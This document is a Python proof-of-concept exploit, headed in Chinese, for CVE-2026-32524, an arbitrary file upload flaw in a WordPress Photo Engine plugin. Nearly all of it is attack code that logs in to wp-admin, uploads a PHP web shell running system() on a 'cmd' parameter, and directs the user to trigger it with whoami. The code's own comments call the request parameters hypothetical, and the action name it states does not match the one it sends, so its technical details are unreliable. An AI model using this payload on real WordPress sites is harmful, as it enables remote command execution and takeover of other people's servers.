CVE-2026-32524: Photo Engine插件任意文件上传漏洞

import requests # Target configuration target_url = "http://target.com/wp-admin/admin-ajax.php" login_url = "http://target.com/wp-login.php" # Attacker credentials (High privileges required) username = "admin" password = "password" # PHP Web Shell payload php_shell = "<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>" # Initialize session session = requests.Session() # Step 1: Authenticate to the WordPress backend def authenticate(): login_data = { 'log': username, 'pwd': password, 'redirect_to': '', 'testcookie': '1' } try: response = session.post(login_url, data=login_data) if response.status_code == 200: print("[+] Login successful.") return True else: print("[-] Login failed.") return False except Exception as e: print(f"[-] Error during login: {e}") return False # Step 2: Exploit File Upload Vulnerability def upload_shell(): # The parameter name 'file' and action 'wplr_upload' are hypothetical # based on the plugin context (wplr-sync). files = { 'file': ('exploit.php', php_shell, 'application/x-php') } data = { 'action': 'wplr_sync_upload' # Example action name } try: response = session.post(target_url, files=files, data=data) if response.status_code == 200: print("[+] Upload request sent.") # Check for success indicators or parse response for path print(f"[+] Response: {response.text[:200]}") print("[+] Try accessing the shell at /wp-content/uploads/exploit.php?cmd=whoami") else: print(f"[-] Upload failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error during upload: {e}") if __name__ == "__main__": if authenticate(): upload_shell()